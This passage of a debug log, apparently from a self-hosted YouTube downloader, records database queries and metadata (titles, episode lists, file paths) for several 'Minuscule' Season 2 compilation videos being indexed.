| Hop On! | S02E25\n00:43:29 | If Only Lonely | S02E22\n00:47:15 | Zzz In The Metro | S02E53\n00:50:50 | Honey Fly | S02E08\n00:54:40 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#gather #pollinate #productivity #competition #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3530, "filename" => "/downloads/Miniscule Season 2/2025-11-13 Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation/Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation [ooZmfVoI3SY].mp4", "id" => "ooZmfVoI3SY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ooZmfVoI3SY", "playlist_index" => 11, "timestamp" => 1763031702, "title" => "Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation", "upload_date" => "20251113"} 22:08:17.828 [debug] QUERY OK source="sources" db=0.3ms idle=656.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:17.829 [debug] QUERY OK source="sources" db=0.2ms idle=657.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:17.830 [debug] QUERY OK source="media_items" db=0.7ms idle=658.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-13 11:01:42Z], 5] 22:08:17.859 [debug] QUERY OK source="media_items" db=29.1ms idle=659.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Gather More to Pollinate More | S02E32\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Fly Hunting | S02E24\n00:11:04 | Turbo speed | S02E58\n00:14:29 | The Annoying Neighbor | S02E28\n00:18:05 | Away all boarders! | S02E41\n00:21:47 | Trapped | S02E64\n00:25:30 | The Grocery Store Incident | S02E39\n00:29:00 | Mission : BBQ | S02E09\n00:32:46 | The Butterfly Effect | S02E23\n00:36:08 | At Full Speed | S02E27\n00:39:52 | Hop On! | S02E25\n00:43:29 | If Only Lonely | S02E22\n00:47:15 | Zzz In The Metro | S02E53\n00:50:50 | Honey Fly | S02E08\n00:54:40 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#gather #pollinate #productivity #competition #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation", "466398f9-4525-4d84-aa67-d7aa3aeb3304", "ooZmfVoI3SY", 3530, false, 5, "https://www.youtube.com/watch?v=ooZmfVoI3SY", 11, "/downloads/Miniscule Season 2/2025-11-13 Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation/Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation [ooZmfVoI3SY].mp4", false, false, false, [], 1, ~U[2025-11-13 11:01:42Z], ~U[2025-12-12 05:08:17Z], ~U[2025-12-12 05:08:17Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Gather More to Pollinate More | S02E32\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Fly Hunting | S02E24\n00:11:04 | Turbo speed | S02E58\n00:14:29 | The Annoying Neighbor | S02E28\n00:18:05 | Away all boarders! | S02E41\n00:21:47 | Trapped | S02E64\n00:25:30 | The Grocery Store Incident | S02E39\n00:29:00 | Mission : BBQ | S02E09\n00:32:46 | The Butterfly Effect | S02E23\n00:36:08 | At Full Speed | S02E27\n00:39:52 | Hop On! | S02E25\n00:43:29 | If Only Lonely | S02E22\n00:47:15 | Zzz In The Metro | S02E53\n00:50:50 | Honey Fly | S02E08\n00:54:40 | Beehive On A Troll | S02E56\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#gather #pollinate #productivity #competition #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation", "ooZmfVoI3SY", 3530, false, 5, "https://www.youtube.com/watch?v=ooZmfVoI3SY", "/downloads/Miniscule Season 2/2025-11-13 Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation/Gather More to Pollinate More 🐝 Minuscule 🍃 75' Compilation [ooZmfVoI3SY].mp4", false, ~U[2025-11-13 11:01:42Z]] 22:08:17.860 [debug] QUERY OK source="sources" db=0.3ms idle=333.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:17.861 [debug] QUERY OK source="media_profiles" db=0.3ms idle=32.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:17.861 [debug] QUERY OK source="media_items" db=0.4ms idle=32.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100785] 22:08:17.862 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #Lu76r0t06JQ/youtube video #Lu76r0t06JQ [Lu76r0t06JQ].NA", "id" => "Lu76r0t06JQ", "original_url" => "https://www.youtube.com/watch?v=Lu76r0t06JQ", "playlist_index" => 12, "title" => "youtube video #Lu76r0t06JQ"} 22:08:17.862 [debug] QUERY OK source="sources" db=0.3ms idle=32.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:17.863 [debug] Current batch of media processed. Will check again in 1000ms 22:08:18.821 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:18.864 [debug] Current batch of media processed. Will check again in 1000ms 22:08:19.865 [debug] Current batch of media processed. Will check again in 1000ms 22:08:20.866 [debug] Current batch of media processed. Will check again in 1000ms 22:08:21.867 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pathetic She'Nut'Igan | S02E12\n00:03:45 | Summer Hat | S02E48\n00:07:27 | The Stubborn Spider | S02E04\n00:11:12 | Brushing | S02E46\n00:14:44 | The Grocery Store Racketeer | S02E50\n00:18:20 | The Hat Of The Medusa | S02E17\n00:22:06 | Honey Fly | S02E08\n00:25:56 | Ladybugland | S02E62\n00:29:23 | Refrigerated | S02E65\n00:32:58 | Microzilla | S02E07\n00:36:43 | Fly Hunting | S02E24\n00:40:17 | Spider Driver | S02E36\n00:43:58 | To The Port Now! | S02E43\n00:47:26 | The Chocolate Chase! | S02E19\n00:51:11 | If Only Lonely | S02E22\n00:54:57 | Ants On The Train | S02E52\n00:58:28 | Labyrinth | S02E69\n01:02:14 | Spider from the Depths | S02E31\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pathetic #Spider #Invent #Strategies #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3987, "filename" => "/downloads/Miniscule Season 2/2025-11-06 A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation/A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation [yOHwnMxTeok].mp4", "id" => "yOHwnMxTeok", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yOHwnMxTeok", "playlist_index" => 13, "timestamp" => 1762426912, "title" => "A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation", "upload_date" => "20251106"} 22:08:21.868 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1335.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:21.869 [debug] QUERY OK source="sources" db=0.4ms idle=697.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:21.870 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=698.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-06 11:01:52Z], 5] 22:08:22.029 [debug] QUERY OK source="media_items" db=157.8ms idle=700.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pathetic She'Nut'Igan | S02E12\n00:03:45 | Summer Hat | S02E48\n00:07:27 | The Stubborn Spider | S02E04\n00:11:12 | Brushing | S02E46\n00:14:44 | The Grocery Store Racketeer | S02E50\n00:18:20 | The Hat Of The Medusa | S02E17\n00:22:06 | Honey Fly | S02E08\n00:25:56 | Ladybugland | S02E62\n00:29:23 | Refrigerated | S02E65\n00:32:58 | Microzilla | S02E07\n00:36:43 | Fly Hunting | S02E24\n00:40:17 | Spider Driver | S02E36\n00:43:58 | To The Port Now! | S02E43\n00:47:26 | The Chocolate Chase! | S02E19\n00:51:11 | If Only Lonely | S02E22\n00:54:57 | Ants On The Train | S02E52\n00:58:28 | Labyrinth | S02E69\n01:02:14 | Spider from the Depths | S02E31\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pathetic #Spider #Invent #Strategies #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation", "4dfc7f96-e904-44d1-9d3c-c94ae06ba486", "yOHwnMxTeok", 3987, false, 5, "https://www.youtube.com/watch?v=yOHwnMxTeok", 13, "/downloads/Miniscule Season 2/2025-11-06 A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation/A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation [yOHwnMxTeok].mp4", false, false, false, [], 1, ~U[2025-11-06 11:01:52Z], ~U[2025-12-12 05:08:21Z], ~U[2025-12-12 05:08:21Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pathetic She'Nut'Igan | S02E12\n00:03:45 | Summer Hat | S02E48\n00:07:27 | The Stubborn Spider | S02E04\n00:11:12 | Brushing | S02E46\n00:14:44 | The Grocery Store Racketeer | S02E50\n00:18:20 | The Hat Of The Medusa | S02E17\n00:22:06 | Honey Fly | S02E08\n00:25:56 | Ladybugland | S02E62\n00:29:23 | Refrigerated | S02E65\n00:32:58 | Microzilla | S02E07\n00:36:43 | Fly Hunting | S02E24\n00:40:17 | Spider Driver | S02E36\n00:43:58 | To The Port Now! | S02E43\n00:47:26 | The Chocolate Chase! | S02E19\n00:51:11 | If Only Lonely | S02E22\n00:54:57 | Ants On The Train | S02E52\n00:58:28 | Labyrinth | S02E69\n01:02:14 | Spider from the Depths | S02E31\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Pathetic #Spider #Invent #Strategies #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation", "yOHwnMxTeok", 3987, false, 5, "https://www.youtube.com/watch?v=yOHwnMxTeok", "/downloads/Miniscule Season 2/2025-11-06 A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation/A Pathetic She'Nut'Igan | Minuscule 🍃 85' Compilation [yOHwnMxTeok].mp4", false, ~U[2025-11-06 11:01:52Z]] 22:08:22.030 [debug] QUERY OK source="sources" db=0.3ms idle=495.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:22.031 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=162.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:22.032 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=162.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100347] 22:08:22.032 [debug] Current batch of media processed. Will check again in 1000ms 22:08:23.033 [debug] Current batch of media processed. Will check again in 1000ms 22:08:24.034 [debug] Current batch of media processed. Will check again in 1000ms 22:08:25.035 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Night of the Gastropods | S02E18\n00:07:31 | Snow Carrot | S02E59\n00:11:09 | Twelve Angry Snails | S02E66\n00:14:42 | Thirsty | S02E29\n00:18:14 | The Long Road | S02E34\n00:21:57 | Snow Fly | S02E51\n00:25:21 | It's a tie! | S02E67\n00:29:02 | The Vegetable Garden | S02E10\n00:32:46 | Away all boarders! | S02E41\n00:36:29 | Down The Chimney | S02E42\n00:40:14 | White As Snow | S02E63\n00:43:51 | Sleep Walker | S02E68\n00:47:15 | Sand Castle | S02E49\n00:50:42 | At Full Speed | S02E27\n00:54:25 | Homeless | S02E02\n00:58:13 | The Hat Of The Medusa | S02E17\n01:01:59 | Metamorphosis | S02E61\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #garden #snail #war #salad #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3968, "filename" => "/downloads/Miniscule Season 2/2025-11-04 Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation [yTR3JnYV6Tk].mp4", "id" => "yTR3JnYV6Tk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yTR3JnYV6Tk", "playlist_index" => 14, "timestamp" => 1762239653, "title" => "Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation", "upload_date" => "20251104"} 22:08:25.036 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1864.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:08:25.037 [debug] QUERY OK source="sources" db=0.4ms idle=1865.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:08:25.039 [debug] QUERY OK source="media_items" db=1.1ms idle=1866.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-04 07:00:53Z], 5] 22:08:25.237 [debug] QUERY OK source="media_items" db=196.9ms idle=1501.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Night of the Gastropods | S02E18\n00:07:31 | Snow Carrot | S02E59\n00:11:09 | Twelve Angry Snails | S02E66\n00:14:42 | Thirsty | S02E29\n00:18:14 | The Long Road | S02E34\n00:21:57 | Snow Fly | S02E51\n00:25:21 | It's a tie! | S02E67\n00:29:02 | The Vegetable Garden | S02E10\n00:32:46 | Away all boarders! | S02E41\n00:36:29 | Down The Chimney | S02E42\n00:40:14 | White As Snow | S02E63\n00:43:51 | Sleep Walker | S02E68\n00:47:15 | Sand Castle | S02E49\n00:50:42 | At Full Speed | S02E27\n00:54:25 | Homeless | S02E02\n00:58:13 | The Hat Of The Medusa | S02E17\n01:01:59 | Metamorphosis | S02E61\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Black #Slope #Skiers #Gastropod #garden #snail #war #salad #Minuscule #nature #insects #ladybugs #animatedseries", "Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation", "e82a0174-0b20-44e9-9b37-00ac0848f3d6", "yTR3JnYV6Tk", 3968, false, 5, "https://www.youtube.com/watch?v=yTR3JnYV6Tk", 14, "/downloads/Miniscule Season 2/2025-11-04 Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation/Black Slope For Gastropod Skiers | Minuscule 🍃 85' Compilation [yTR3JnYV6Tk].mp4", false, false, false, [], 1, ~U[2025-11-04 07:00:53Z], ~U[2025-12-12 05:08:25Z], ~U[2025-12-12 05:08:25Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Black Slope For Gastropod Skiers | S02E55\n00:03:45 | Night of the Gastropods | S02E18\n00:07:31 | Snow Carrot | S02E59\n00:11:09 | Twelve Angry Snails | S02E66\n00:14:42 | Thirsty | S02E29\n00:18:14 | The Long Road | 